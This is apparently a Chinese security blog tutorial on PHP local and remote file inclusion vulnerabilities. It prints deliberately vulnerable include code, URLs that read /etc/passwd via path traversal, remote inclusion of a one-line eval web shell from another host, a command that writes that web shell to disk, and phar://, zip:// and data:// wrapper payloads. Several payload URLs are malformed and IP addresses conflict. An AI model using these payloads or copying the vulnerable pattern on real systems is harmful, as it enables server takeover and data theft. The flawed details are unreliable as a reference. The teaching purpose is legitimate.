基于PHP的文件包含介绍

引言:在实际开发过程中,经常会遇到部分模块功能需要重复使用的情况,比如数据库的增删改查,文件包含通过将需要重复使用的功能模块代码引入其他文件的内容,实现重用代码、分离配置等。然而,如果文件包含操作不当,可能会引发所谓的文件包含漏洞,导致安全问题。

一、本地文件包含

这种类型的文件包含漏洞允许攻击者访问本地文件系统上的文件
利用需要满足的条件:

  • 1.php.init中的allow_url_fopen=On(默认开启)
  • 2.用户参数可控且后台代码没有对包含的文件进行过滤

例子: 

在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:

<?php

#本地文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename;     //或include_once require   require_once
echo "Hello World";
?>


利用方式:

1.将txt的文件内容转换成PHP代码执行

http://127.0.0.1:8082/file_include.php?filename=phpinfo.txt

2.利用文件包含获取系统敏感文件内容

http://127.0.0.1:8082/file_include.php?filename=/etc/passwd

http://127.0.0.1:8082/file_include.php?filename=../../../../../../../etc/passwd

二、远程文件包含

此类型允许攻击者通过包含远程URL来执行代码。

利用需要满足的条件条件

  • php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启
  •  用户参数可控且后台代码没有对包含的文件进行过滤

例子: 

在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:


#远程文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启 
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename;     //或include_once require   require_once
echo "Hello World";


 利用方式:

1.直接包含jd页面,跳转到jd页面

http://127.0.0.1:8082/file_include.php?filename=http://jd.com

2.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.php文件 ,shell.php文件的内容为<?php @eval($_GET['code']);?>

http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.21/test/shell.php?code=phpinfo();    注意:此时执行的是127.0.0.1的phpinfo()命令

3.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.txt文件 ,shell.txt文件的内容为<?php @eval($_GET['code']);?>   注意:此时执行的是192.168.3.1的phpinfo()命令

http://127.0.0.1:8082/file_include.phpfilename=http:192.168.3.1/test/shell.txt&code=phpinfo();

3.在任意服务器上写入一段木马程序

在opt/phpstudy_pro/WWW/test目录下如一句化木马

 file_put_contents("opt/phpstudy_pro/WWW/test",'<?php @eval($_GET["code"]);?>');

访问http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.1/test/shell.php?code=phpinfo();

三、伪协议 

  • 1.file://伪协议用于访问本地文件系统中的文件。这个伪协议可以直接操作本地文件,包括读取、写入等操作。
  • 2.http:// 和 https:// 伪协议用于发送HTTP请求并获取远程资源的内容。这包括获取网页内容、向远程服务器发送数据等。
  • 3.ftp://伪协议用于访问和操作FTP服务器上的文件。这包括上传、下载、删除等文件操作。
  • 4.php://伪协议用于访问各种输入/输出流。例如,php://input用于读取POST请求的原始数据,php://output用于写入输出缓冲区的数据
  • 5.data://伪协议用于在脚本中直接嵌入数据。这个伪协议允许开发者在代码中直接定义和使用数据,而无需借助外部文件。
  • 6.glob://伪协议用于查找匹配特定模式的文件路径。这对于搜索符合某个通配符规则的文件非常有用
  • 7.phar://伪协议用于操作PHP归档文件。这是一种将多个PHP文件打包成一个单一文件的方式,方便分发和部署。
  • 8.ssh2://伪协议用于通过SSH2协议访问远程资源。这主要用于安全地访问和操作远程服务器上的文件和数据。
  • 9.rar://伪协议用于操作RAR压缩文件。这允许开发者在PHP中直接读取和处理RAR文件。
  • 10.ogg://伪协议用于处理音频流。这允许开发者在PHP中直接读取和操作音频数据流。
  • 11.expect://伪协议用于处理交互式数据流。这允许与需要用户交互的应用程序进行通信,如命令行程序提示输入用户名和密码等情况。

常用的伪协议

1.phar://主要用于在PHP对压缩文件的读取,用法就是把一句话木马压缩成zip格式,shell.txt->shell.zip 将文件上传到服务器目录下

http://127.0.0.1:8082/file_include.php?filename=phar://shell.zip/shell.txt

2.zip:// 原理和phar:// 差不多      注意:压缩的/符号要改成#的url编码,也就是%23

// http://127.0.0.1:8082/file_include.php?filename=zip://shell.zip%23shell.txt

3.data:// 本身是数据流封装器,其原理和php://input类似,但是是发送GET请求参数

http://127.0.0.1:8082/file_include.php?filename=data://test/plain,<?php phpinfo(); ?>

  • 16
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cityミ slaves

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值